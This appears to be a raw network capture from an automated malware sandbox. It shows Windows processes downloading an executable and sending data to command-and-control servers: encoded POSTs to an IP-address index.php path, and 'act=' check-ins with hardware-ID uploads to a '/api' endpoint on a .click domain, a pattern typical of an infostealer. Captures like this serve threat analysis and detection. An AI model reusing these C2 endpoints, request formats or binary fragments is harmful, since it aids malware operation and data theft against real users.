00 60 a6 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 f3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd^Yg.+>%@pN` `(h.text(``.data@.rdata+,@@.eh_fram@.pdata @@.xdatap0@@.bss<@.idata@.CRT`@.tls@.rsrc@@.reloc`@B
Dec 18, 2024 12:01:10.460264921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 48 89 e5 48 89 4d 10 48 89 55 18 4c 89 45 20 44 89 4d 28 90 5d c3 55 Data Ascii: UHHMHULE DM(]UHH T/HtNHNHw^?HuHHkHH ]UHH0Hw/H8
Dec 18, 2024 12:01:10.460277081 CET	1236	IN	Data Raw: 48 89 c1 e8 06 b2 01 00 48 89 45 f0 48 8b 45 28 48 8b 00 48 89 45 e8 c7 45 fc 00 00 00 00 e9 8f 00 00 00 8b 45 fc 48 98 48 8d 14 c5 00 00 00 00 48 8b 45 e8 48 01 d0 48 8b 00 48 89 c1 e8 24 b2 01 00 48 83 c0 01 48 01 c0 48 89 45 e0 8b 45 fc 48 98 Data Ascii: HHEHE(HHEEEHHHEHHH$HHHEEHHHEHHEHHEHHHEHHEHHHEHHHMIHpEE;E eEHHHEHHHE(HUHHH[]UHH
Dec 18, 2024 12:01:10.461333990 CET	1236	IN	Data Raw: 1f 00 48 83 ec 38 4c 89 4c 24 58 4c 8d 4c 24 58 4c 89 4c 24 28 e8 38 4a 01 00 48 83 c4 38 c3 0f 1f 00 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 28 b8 01 00 00 00 44 89 cb 45 89 c1 49 89 ca 49 89 d3 49 8d 69 01 89 d9 89 ea 48 d3 e0 48 8d 44 50 Data Ascii: H8LL$XLL$XLL$(8JH8AWAVAUATUWVSH(DEIIIiHHDPH9$HAAAHHl$IRAALL$H$ED$AAK1AuAbff.ff.ff.
Dec 18, 2024 12:01:10.461982012 CET	1236	IN	Data Raw: 01 44 01 d8 41 88 4a ff 83 f8 40 77 21 4c 39 ee 0f 82 38 ff ff ff 89 c2 83 e0 07 c1 ea 03 48 29 d6 48 8b 16 4d 39 f2 0f 82 55 ff ff ff 90 49 39 ea 73 2f f7 df 83 e7 3f 89 c1 49 89 d3 49 83 c2 01 49 d3 e3 89 f9 49 d3 eb 4f 8d 1c 59 41 0f b6 0b 45 Data Ascii: DAJ@w!L98H)HM9UI9s/?IIIIOYAE[AJDL9uI9HH[^_]A\A]A^A_@HAJcH@AHH0HAHH(HAHH HAHHHAHHHAHHHtL
Dec 18, 2024 12:01:10.461993933 CET	1236	IN	Data Raw: 86 55 05 00 00 48 8d 7c 37 f8 48 89 7c 24 28 45 84 c9 0f 84 fa 05 00 00 45 0f bd c9 41 bf 08 00 00 00 48 8b 3f 45 29 cf 4d 85 db 0f 84 19 05 00 00 4c 8b 74 24 10 4c 01 f6 48 89 74 24 40 46 0f b6 4c 1e ff 49 83 fb 07 0f 86 d4 05 00 00 4a 8d 5c 1e Data Ascii: UH\|7H\|$(EEAH?E)MLt$LHt$@FLIJ\H\$0EH+ED)\$pHH\$@LHsH$DLHt$PHEcEAE)HH\H\$8L#H$H$HVH$HH
Dec 18, 2024 12:01:10.463222980 CET	776	IN	Data Raw: 01 ea 45 0f b6 68 0b 49 c1 e5 28 4d 01 ea 45 0f b6 68 0a 49 c1 e5 20 4d 01 ea 45 0f b6 68 09 49 c1 e5 18 4d 01 ea 45 0f b6 68 08 49 c1 e5 10 4d 01 ea 45 0f b6 68 07 49 c1 e5 08 4d 01 ea 45 84 c9 0f 84 57 fa ff ff 45 0f b7 ec 41 bc 09 00 00 00 45 Data Ascii: EhI(MEhI MEhIMEhIMEhIMEWEAELt$ E)ALt$EE)DH#@?fw}L5@Mc$MAfDLt$EfI0LLt$EfI(LLt$EfI LLt$EfILLt$Ef
Dec 18, 2024 12:01:10.463236094 CET	1236	IN	Data Raw: e8 4e 8d 04 42 41 0f b6 08 45 0f b6 40 01 45 01 e8 88 48 fe 4d 89 d5 44 89 c1 49 d3 e5 44 89 f1 49 d3 ed 4e 8d 2c 6a 41 0f b6 4d 00 45 0f b6 6d 01 45 01 c5 88 48 ff 41 83 fd 40 77 31 48 8b 4c 24 48 49 39 c9 0f 82 13 ff ff ff 44 89 e9 41 83 e5 07 Data Ascii: NBAE@EHMDIDIN,jAMEmEHA@w1HL$HI9DAI)HL$MH9A4fLL$D$L$t?AHL$xH9s-DMHIDIJBDID@AH9D$xuA@7H$DD$tLT$(LpAL4$A?Lt$X
Dec 18, 2024 12:01:10.464490891 CET	1236	IN	Data Raw: 41 83 e1 07 c1 e8 03 49 29 c2 49 39 fb 4d 8b 22 40 0f 92 c5 e9 44 ff ff ff 90 4c 89 54 24 38 44 8b 44 24 74 48 8b 84 24 98 00 00 00 41 f7 d8 49 89 c2 41 83 e0 3f 49 39 c3 73 2a 44 89 c9 4c 89 e0 49 83 c3 01 48 d3 e0 44 89 c1 48 d3 e8 48 8d 04 42 Data Ascii: AI)I9M"@DLT$8DD$tH$AIA?I9s*DLIHDHHB@AKAM9uH\$1H9\$ 0Ht$(1H9t$Ht$0H9t$@)Ht$8H9$1\|$p@!A@H$LfDg
Dec 18, 2024 12:01:10.464505911 CET	1236	IN	Data Raw: 80 00 00 00 4c 8b 8c 24 10 01 00 00 48 89 b4 24 88 00 00 00 45 0f b6 49 02 44 89 4c 24 6c 48 39 fe 0f 83 18 0d 00 00 45 89 c8 4c 89 bc 24 98 00 00 00 4d 89 e7 48 8b ac 24 80 00 00 00 41 f7 d8 4c 89 34 24 48 8b 7c 24 70 44 8b 4c 24 68 41 83 e0 3f Data Ascii: L$H$EIDL$lH9EL$MH$AL4$H\|$pDL$hA?I)Ld$ I$E1Lt$HL9t$9EAAL)l$L\|$M?Lt$XL9t$!EAAL)l$Lt$M6L4$Lt$PL9t$eEAAL)l$Ll$MuL
Dec 18, 2024 12:01:10.590904951 CET	1236	IN	Data Raw: c1 e5 28 49 01 ee 41 0f b6 6f 04 48 c1 e5 20 49 01 ee 41 0f b6 6f 03 48 c1 e5 18 49 01 ee 41 0f b6 6f 02 48 c1 e5 10 49 01 ee 41 0f b6 6f 01 48 c1 e5 08 49 01 ee 40 84 ff 0f 84 28 f9 ff ff 45 0f b7 ea bd 09 00 00 00 0f bd ff 4c 89 7c 24 10 44 29 Data Ascii: (IAoH IAoHIAoHIAoHI@(EL\|$D)DA)H9L$pML4$DL$hAH9$L$AEH9$@8LD$pDl$lD$LT$ IAL$A?@L9T$0M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50061	185.215.113.209	80	7792	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:01:10.277440071 CET	314	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 37 46 36 45 33 34 31 32 41 37 34 36 35 41 35 46 44 34 38 30 36 42 32 43 38 46 32 44 46 46 45 41 36 44 37 39 39 36 42 38 34 34 38 44 37 31 33 31 38 32 45 30 46 35 43 46 41 35 32 42 30 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA613555C37F6E3412A7465A5FD4806B2C8F2DFFEA6D7996B8448D713182E0F5CFA52B0
Dec 18, 2024 12:01:11.610970974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49937	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 11:00:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 11:00:19 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6acs0ljbo89lt251td47atak8l; expires=Sun, 13-Apr-2025 04:46:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2BFQIZjDrCLasxRzszb2sJGYORkqTMo%2Bxoo279y%2F7EyEP1v9zhST%2Bpmr75yMFfMXx2q9NQ2vPn5GYI0u6PbUt1TSCG364QCNEUXyMxu3vjrZVkbNZ9nxAYYpG%2B7d5Tcgz1oNvqDK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea6015e548c4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1954&min_rtt=1946&rtt_var=746&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=910&delivery_rate=1449851&cwnd=232&unsent_bytes=0&cid=2148805fa17a2206&ts=1056&x=0"
2024-12-18 11:00:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 11:00:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49944	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:20 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: pancakedipyps.click
2024-12-18 11:00:20 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 64 65 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--dec&j=
2024-12-18 11:00:21 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ibat7d73aoo9fsqoulnq1lkiu; expires=Sun, 13-Apr-2025 04:47:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rZcPfDC5CEknQe5pjM7XVwfVdbyHt6nQBasrMbVbwUTNGz8Tlt94%2B63zhm7h%2BFEQ0m1994aBPk%2FDUN768q%2FFW%2BFkmjoM2HxPrupXZTbEc3f0ZMnzBnVQF6GCstz8vNUusoAaIC%2F1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea60f1ad15e86-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1691&rtt_var=656&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=948&delivery_rate=1639528&cwnd=240&unsent_bytes=0&cid=b547267830e21e18&ts=817&x=0"
2024-12-18 11:00:21 UTC	327	IN	Data Raw: 34 64 35 0d 0a 43 43 39 68 5a 6a 72 5a 67 6b 71 6f 6f 74 70 70 61 4e 79 35 47 4d 64 5a 68 67 6d 6b 31 2b 55 6c 6b 67 37 73 69 42 36 42 45 45 4e 7a 44 52 64 45 41 4f 32 75 61 4e 76 48 2b 46 4d 63 72 73 78 39 36 33 76 6e 62 59 62 74 67 30 54 2b 66 59 6d 6b 50 50 64 39 59 54 4a 4a 41 41 70 4a 76 4b 35 6f 7a 64 72 34 55 7a 4f 6e 6d 33 32 70 65 37 77 72 77 62 32 48 52 50 35 73 6a 65 4e 78 38 58 77 67 59 45 4d 47 44 6c 2b 36 35 69 76 45 7a 37 38 4d 44 62 33 54 64 71 34 30 37 6d 53 47 2b 38 64 41 36 43 7a 57 71 6c 50 6b 5a 43 4a 46 54 68 49 4e 47 4b 53 75 4d 59 72 48 74 45 74 53 2f 74 68 39 70 54 58 67 62 63 2b 2f 6a 55 33 32 62 59 6a 69 62 75 68 32 4b 32 42 4e 42 51 39 56 73 2f 49 6d 7a 73 69 30 43 67 65 39 6d 7a 54 6c 50 50 77 72 6e 76 58 55 64 66 4e 39 6e 2f Data Ascii: 4d5CC9hZjrZgkqootppaNy5GMdZhgmk1+Ulkg7siB6BEENzDRdEAO2uaNvH+FMcrsx963vnbYbtg0T+fYmkPPd9YTJJAApJvK5ozdr4UzOnm32pe7wrwb2HRP5sjeNx8XwgYEMGDl+65ivEz78MDb3Tdq407mSG+8dA6CzWqlPkZCJFThINGKSuMYrHtEtS/th9pTXgbc+/jU32bYjibuh2K2BNBQ9Vs/Imzsi0Cge9mzTlPPwrnvXUdfN9n/
2024-12-18 11:00:21 UTC	917	IN	Data Raw: 76 30 61 4d 57 68 69 6c 61 77 63 38 44 7a 50 4f 52 2b 59 54 49 4e 42 51 70 5a 74 75 41 36 77 73 75 7a 44 68 69 31 30 6e 65 6f 4f 2b 6c 68 79 62 61 48 51 50 70 6d 67 65 42 34 37 6e 38 6e 61 6b 31 44 53 68 69 38 2b 47 69 53 67 4a 73 4f 47 72 6e 58 62 4f 63 42 70 48 53 49 72 4d 64 41 2f 43 7a 57 71 6e 54 6d 63 53 4a 68 51 67 41 4d 55 36 6e 67 4f 73 7a 4e 76 52 6b 4d 75 39 56 77 70 69 6e 75 5a 63 43 32 6a 6b 7a 35 61 59 6e 75 50 4b 30 79 4a 6e 49 4e 57 30 52 35 74 75 73 6b 77 4e 65 34 53 78 58 77 77 6a 71 69 4e 36 51 7a 68 72 47 47 51 2f 46 6f 67 4f 52 34 37 33 51 76 5a 30 49 46 44 6c 69 38 36 69 44 43 77 62 55 41 42 62 37 65 64 36 45 39 36 47 72 44 39 63 6b 48 39 33 54 4f 73 6a 7a 4e 64 53 4a 34 44 7a 59 48 56 72 58 6e 50 6f 72 66 39 68 4a 4b 75 64 63 36 2f Data Ascii: v0aMWhilawc8DzPOR+YTINBQpZtuA6wsuzDhi10neoO+lhybaHQPpmgeB47n8nak1DShi8+GiSgJsOGrnXbOcBpHSIrMdA/CzWqnTmcSJhQgAMU6ngOszNvRkMu9VwpinuZcC2jkz5aYnuPK0yJnINW0R5tuskwNe4SxXwwjqiN6QzhrGGQ/FogOR473QvZ0IFDli86iDCwbUABb7ed6E96GrD9ckH93TOsjzNdSJ4DzYHVrXnPorf9hJKudc6/
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 34 34 34 37 0d 0a 57 31 45 41 67 64 59 73 65 34 6e 77 4d 69 77 43 77 65 2f 30 48 4b 6a 4e 75 39 6b 79 62 4b 50 52 50 78 70 67 2b 6b 38 72 54 49 6d 63 67 31 62 52 48 32 31 34 7a 6e 62 67 6f 30 49 42 4c 44 63 62 4f 55 6b 71 6e 4b 47 73 6f 73 48 71 43 79 45 37 58 76 6e 66 79 74 70 53 51 63 4a 56 37 4c 70 49 64 6a 4b 74 41 55 59 73 39 46 2f 71 7a 66 68 5a 4d 61 30 68 6b 6e 36 5a 38 36 6b 50 4f 52 71 59 54 49 4e 4c 41 6c 49 71 65 6f 6a 32 34 4b 4e 43 41 53 77 33 47 7a 6c 4a 4b 70 79 68 72 4b 4c 42 36 67 73 68 65 78 77 37 33 49 6e 65 45 4d 4d 46 6c 4b 70 35 43 62 4f 7a 4c 59 43 42 37 48 65 61 4b 45 37 39 6d 72 44 73 6f 6c 4b 34 6d 6e 4f 70 44 7a 6b 61 6d 45 79 44 54 6b 77 58 36 76 78 4c 34 6a 31 75 77 55 45 75 63 30 36 75 6e 58 39 4b 38 47 35 78 78 2b 77 62 34 Data Ascii: 4447W1EAgdYse4nwMiwCwe/0HKjNu9kybKPRPxpg+k8rTImcg1bRH214znbgo0IBLDcbOUkqnKGsosHqCyE7XvnfytpSQcJV7LpIdjKtAUYs9F/qzfhZMa0hkn6Z86kPORqYTINLAlIqeoj24KNCASw3GzlJKpyhrKLB6gshexw73IneEMMFlKp5CbOzLYCB7HeaKE79mrDsolK4mnOpDzkamEyDTkwX6vxL4j1uwUEuc06unX9K8G5xx+wb4
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 4d 69 5a 6d 44 56 74 45 55 71 6e 6c 4a 73 37 4b 76 51 38 47 74 4e 74 2f 74 7a 50 69 62 4d 71 39 67 6b 6a 32 61 59 50 74 64 2b 42 67 4d 32 6c 4a 44 51 67 59 39 61 41 76 30 6f 44 67 53 79 2b 70 32 47 71 6a 4f 4b 52 30 69 4b 7a 48 51 50 77 73 31 71 70 38 37 58 34 71 62 55 59 49 41 46 79 37 37 53 50 45 7a 72 45 48 41 72 4c 63 61 4b 67 2b 37 47 48 50 73 49 74 4b 38 33 36 4e 36 7a 79 74 4d 69 5a 79 44 56 74 45 66 34 6a 58 43 34 72 66 39 68 4a 4b 75 64 63 36 2f 58 76 6c 59 38 47 37 67 31 58 2b 66 6f 44 74 66 4f 56 36 4b 57 31 42 44 51 70 4b 73 2b 45 6f 78 4d 2b 77 41 67 36 2f 33 33 36 70 50 4b 51 6c 68 72 4b 66 42 36 67 73 70 75 6c 6d 2b 54 41 50 59 55 30 45 46 45 36 67 6f 44 65 45 32 66 67 4d 42 76 36 44 4f 71 45 77 37 6d 4c 46 76 49 4e 4b 38 47 57 42 34 33 54 Data Ascii: MiZmDVtEUqnlJs7KvQ8GtNt/tzPibMq9gkj2aYPtd+BgM2lJDQgY9aAv0oDgSy+p2GqjOKR0iKzHQPws1qp87X4qbUYIAFy77SPEzrEHArLcaKg+7GHPsItK836N6zytMiZyDVtEf4jXC4rf9hJKudc6/XvlY8G7g1X+foDtfOV6KW1BDQpKs+EoxM+wAg6/336pPKQlhrKfB6gspulm+TAPYU0EFE6goDeE2fgMBv6DOqEw7mLFvINK8GWB43T
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 55 73 44 41 55 71 38 37 43 4c 46 77 37 41 47 43 62 62 4a 65 71 67 37 39 6e 6e 41 76 6f 6b 48 76 69 79 4a 38 6a 79 37 4d 68 42 39 52 6b 4d 62 46 71 4b 67 4c 38 61 41 34 45 73 4a 74 4e 5a 30 74 7a 2f 69 59 4d 57 37 6a 30 4c 34 61 49 54 6e 63 2b 68 34 4b 47 4a 4e 44 41 46 51 73 4f 59 6d 79 38 61 30 42 6b 72 77 6d 33 32 39 65 37 77 72 34 61 2b 4b 51 65 64 39 75 2b 31 38 73 6a 49 2b 4a 46 52 44 41 31 54 37 75 47 6a 48 7a 4c 49 47 44 37 72 54 66 61 59 36 36 47 2f 4c 75 49 4e 4f 39 47 6d 63 2b 48 72 74 63 69 35 6b 51 67 38 57 56 72 37 67 4a 49 71 4f 2b 41 77 53 2f 6f 4d 36 6c 43 7a 6b 4b 39 6e 37 6e 67 66 33 59 4d 36 79 50 4f 78 2f 4d 32 5a 43 41 77 56 62 76 2b 73 76 7a 4d 61 35 43 41 2b 39 33 6e 79 6b 4f 2b 68 68 77 62 32 4e 53 66 31 71 69 75 78 36 6f 7a 78 68 Data Ascii: UsDAUq87CLFw7AGCbbJeqg79nnAvokHviyJ8jy7MhB9RkMbFqKgL8aA4EsJtNZ0tz/iYMW7j0L4aITnc+h4KGJNDAFQsOYmy8a0Bkrwm329e7wr4a+KQed9u+18sjI+JFRDA1T7uGjHzLIGD7rTfaY66G/LuINO9Gmc+Hrtci5kQg8WVr7gJIqO+AwS/oM6lCzkK9n7ngf3YM6yPOx/M2ZCAwVbv+svzMa5CA+93nykO+hhwb2NSf1qiux6ozxh
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 46 56 76 75 51 6d 7a 73 65 34 42 77 57 35 30 33 57 68 4f 2b 73 72 69 50 57 41 58 37 41 30 7a 73 70 33 39 56 4d 76 59 56 39 44 47 78 61 69 6f 43 2f 47 67 4f 42 4c 42 4c 66 61 63 71 73 33 37 47 2f 55 74 59 78 4f 2f 32 32 42 36 6e 2f 69 65 43 6c 34 53 77 4d 50 55 4c 7a 6f 4c 4d 54 53 75 51 52 4b 38 4a 74 39 76 58 75 38 4b 2f 65 6a 67 45 44 2f 4c 71 66 74 5a 2b 4a 34 49 6d 46 42 51 78 73 57 6f 71 41 76 78 6f 44 67 53 77 65 79 31 6e 36 33 4e 2b 52 72 7a 37 4b 4e 56 66 39 6a 67 2b 6c 38 35 6d 41 67 65 45 49 49 41 56 75 2f 37 79 66 47 79 4c 4a 4c 52 50 37 63 59 75 56 6a 70 45 66 46 70 49 30 46 31 33 61 59 37 58 44 79 65 53 78 6d 44 52 78 4b 51 66 76 6e 4a 49 71 59 2b 41 73 4c 73 38 6c 2f 70 44 48 75 5a 73 36 36 67 6b 4c 2f 61 49 72 68 63 76 46 38 4c 6d 70 4c 43 Data Ascii: FVvuQmzse4BwW503WhO+sriPWAX7A0zsp39VMvYV9DGxaioC/GgOBLBLfacqs37G/UtYxO/22B6n/ieCl4SwMPULzoLMTSuQRK8Jt9vXu8K/ejgED/LqftZ+J4ImFBQxsWoqAvxoDgSwey1n63N+Rrz7KNVf9jg+l85mAgeEIIAVu/7yfGyLJLRP7cYuVjpEfFpI0F13aY7XDyeSxmDRxKQfvnJIqY+AsLs8l/pDHuZs66gkL/aIrhcvF8LmpLC
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 67 49 38 58 4f 74 51 41 4f 74 39 35 79 70 6a 37 68 59 63 71 35 68 6b 2f 35 5a 6f 76 76 65 75 6c 78 4c 32 56 4d 44 77 42 52 74 65 6c 6f 68 49 43 2f 45 30 72 6d 6d 30 79 31 50 50 78 6d 31 76 65 31 52 4f 46 39 6d 2b 64 73 35 54 41 4f 61 55 45 41 41 56 2b 72 6f 44 65 45 32 66 67 4d 42 76 36 44 4f 71 55 2f 36 47 6a 42 75 34 68 4b 2f 32 75 46 35 58 62 74 59 43 35 76 52 51 38 4d 56 61 6e 71 49 74 6a 4a 73 51 59 45 74 73 6c 35 35 58 57 6b 62 4e 37 31 33 77 66 43 5a 6f 33 6d 61 75 35 39 59 58 55 44 47 6b 52 66 74 36 42 77 69 74 4b 71 43 77 47 2b 33 48 53 33 4f 75 78 6b 7a 4c 57 42 54 50 70 76 68 2b 35 79 36 6e 51 67 5a 30 77 43 42 46 32 37 36 54 72 48 67 50 5a 4c 44 61 61 62 49 75 55 4d 36 47 44 33 74 70 45 48 37 79 4b 58 71 6e 76 76 4d 6e 6b 71 54 42 45 4a 55 4c Data Ascii: gI8XOtQAOt95ypj7hYcq5hk/5ZovveulxL2VMDwBRtelohIC/E0rmm0y1PPxm1ve1ROF9m+ds5TAOaUEAAV+roDeE2fgMBv6DOqU/6GjBu4hK/2uF5XbtYC5vRQ8MVanqItjJsQYEtsl55XWkbN713wfCZo3mau59YXUDGkRft6BwitKqCwG+3HS3OuxkzLWBTPpvh+5y6nQgZ0wCBF276TrHgPZLDaabIuUM6GD3tpEH7yKXqnvvMnkqTBEJUL
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 67 4b 35 4c 55 75 79 56 4f 72 64 37 76 43 75 42 74 70 56 56 39 6d 2b 59 36 54 76 64 54 41 46 68 57 77 49 4a 55 37 66 65 46 74 2f 44 74 67 55 4e 71 4d 6f 36 36 33 76 72 4b 35 36 4d 78 77 2b 77 55 38 43 71 5a 4b 4d 71 59 56 39 4f 44 51 70 66 72 66 46 6c 36 73 75 75 43 67 65 31 31 7a 69 6b 4e 76 52 73 68 76 76 48 51 62 41 30 33 71 51 38 35 32 4e 68 4d 68 31 52 58 77 33 6f 74 33 69 59 33 2f 59 53 53 71 69 62 49 76 64 31 70 48 6d 47 37 63 63 41 38 33 36 63 37 48 2f 31 63 57 5a 55 63 79 4d 50 56 4c 6a 73 4b 63 32 41 39 6b 73 46 2f 6f 4e 44 35 54 6a 32 65 59 6d 6b 6b 55 72 67 61 38 4c 69 62 65 35 2b 59 53 51 4e 54 77 42 54 74 2b 55 76 32 6f 2b 71 47 77 47 79 7a 54 61 68 4b 61 51 6c 68 71 53 4d 53 4f 4a 69 69 61 56 74 39 58 38 78 61 55 67 45 53 46 43 71 37 53 53 Data Ascii: gK5LUuyVOrd7vCuBtpVV9m+Y6TvdTAFhWwIJU7feFt/DtgUNqMo663vrK56Mxw+wU8CqZKMqYV9ODQpfrfFl6suuCge11zikNvRshvvHQbA03qQ852NhMh1RXw3ot3iY3/YSSqibIvd1pHmG7ccA836c7H/1cWZUcyMPVLjsKc2A9ksF/oND5Tj2eYmkkUrga8Libe5+YSQNTwBTt+Uv2o+qGwGyzTahKaQlhqSMSOJiiaVt9X8xaUgESFCq7SS
2024-12-18 11:00:21 UTC	1369	IN	Data Raw: 45 72 6d 34 6a 71 30 4d 65 4d 6e 6a 76 6d 57 56 50 35 6e 6d 4f 30 38 33 44 78 68 63 67 31 62 52 47 32 34 37 69 62 4e 31 71 6c 47 4c 4c 33 63 66 4b 59 31 38 33 71 47 2b 38 64 42 73 44 54 63 70 44 7a 6e 59 32 45 79 48 56 46 66 44 65 69 33 65 4a 6a 66 39 68 4a 4b 71 4a 73 69 39 6e 57 6b 65 59 62 74 78 77 44 2b 59 59 2f 70 63 75 42 67 4d 32 78 4f 46 51 63 66 68 64 34 4e 78 38 32 39 42 51 32 41 35 56 75 76 4b 2b 6c 6b 77 59 75 35 63 4f 46 72 6e 71 68 61 34 47 51 69 4b 67 4e 44 48 42 6a 6a 6f 41 6e 41 30 4c 55 45 44 66 36 56 4f 71 46 37 76 43 76 6a 75 49 70 43 2f 6d 76 4d 79 33 62 7a 66 79 35 74 44 55 31 45 56 50 75 34 61 4d 76 4b 71 41 59 46 75 5a 64 39 76 7a 79 6b 4a 59 61 37 78 78 2b 77 62 59 54 36 63 65 78 31 62 57 78 44 44 55 52 48 39 66 6c 6f 33 49 44 67 Data Ascii: Erm4jq0MeMnjvmWVP5nmO083Dxhcg1bRG247ibN1qlGLL3cfKY183qG+8dBsDTcpDznY2EyHVFfDei3eJjf9hJKqJsi9nWkeYbtxwD+YY/pcuBgM2xOFQcfhd4Nx829BQ2A5VuvK+lkwYu5cOFrnqha4GQiKgNDHBjjoAnA0LUEDf6VOqF7vCvjuIpC/mvMy3bzfy5tDU1EVPu4aMvKqAYFuZd9vzykJYa7xx+wbYT6cex1bWxDDURH9flo3IDg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49953	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:23 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H27PYX88 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12797 Host: pancakedipyps.click
2024-12-18 11:00:23 UTC	12797	OUT	Data Raw: 2d 2d 48 32 37 50 59 58 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 32 37 50 59 58 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 32 37 50 59 58 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 